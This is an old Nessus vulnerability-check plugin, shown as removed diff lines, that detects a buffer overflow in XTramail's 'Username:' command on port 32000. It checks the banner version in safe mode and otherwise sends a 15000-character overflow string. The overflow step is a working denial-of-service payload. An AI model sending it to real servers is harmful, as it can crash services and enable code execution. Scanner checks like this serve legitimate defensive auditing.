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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10323);
- script_bugtraq_id(791);
- script_version ("$Revision: 1.18 $");
- script_cve_id("CAN-1999-1511");
-
- name["english"] = "XTramail control denial";
- name["francais"] = "DΘni de service control contre le MTA Xtramail";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "There is a buffer overflow
- in the remote service when it is issued the
- following command :
-
- Username: (buffer)
-
- Where 'buffer' is 15000 chars.
-
- This problem may allow an attacker to
- execute arbitrary code on this computer.
-
- Solution : contact your vendor for a
- patch.
-
- Risk factor : High";
-
-
- desc["francais"] = "Il y a un dΘpassement
- de buffer lorsque ce service recoit la commande :
-
-
- Username: (buffer)
-
- O∙ buffer fait 15000 caractΦres.
-
- Ce problΦme peut permettre α un pirate
- d'executer du code arbitraire sur
- votre machine.
-
-
- Solution : contactez votre vendeur pour
- un patch.
-
- Facteur de risque : ElevΘ";
-
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Overflows the remote server";
- summary["francais"] = "Overflow le serveur distant";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_MIXED_ATTACK); # mixed
-
-
- script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
- francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
- family["english"] = "Misc.";
- family["francais"] = "Divers";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "sendmail_expn.nasl");
- script_require_ports(32000);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- port = 32000;
-
- if(safe_checks())
- {
- if(!get_port_state(port))exit(0);
- soc = open_sock_tcp(port);
- if(!soc)exit(0);
- banner = recv_line(socket:soc, length:4096);
- close(soc);
- if(banner)
- {
- b = tolower(banner);
- if("xtramail" >< b)
- {
- if( ereg(pattern:".*1\.([0-9]|1[0-1])[^0-9].*",
- string:b)
- )
- {
- data = "
- The remote server is Xtramail 1.11 or older.
- This version is known for being vulnerable to a buffer
- overflow in the 'Username:' command.
-
- This *may* allow an attacker to execute arbitrary commands
- as root on the remote server.
-
- *** Nessus reports this vulnerability using only
- *** information that was gathered. Use caution
- *** when testing without safe checks enabled.
-
- Solution : upgrade
- Risk factor : High";
- security_hole(port:port, data:data);
- }
- }
- }
- exit(0);
- }
- if(get_port_state(port))
- {
- soc = open_sock_tcp(port);
- if(soc)
- {
- s = recv_line(socket:soc, length:1024);
- if ( ! s ) exit(0);
- c = string("Username: ", crap(15000), "\r\n");
- send(socket:soc, data:c);
- s = recv_line(socket:soc, length:1024);
- if(!s)security_hole(port);
- close(soc);
- }
- }
-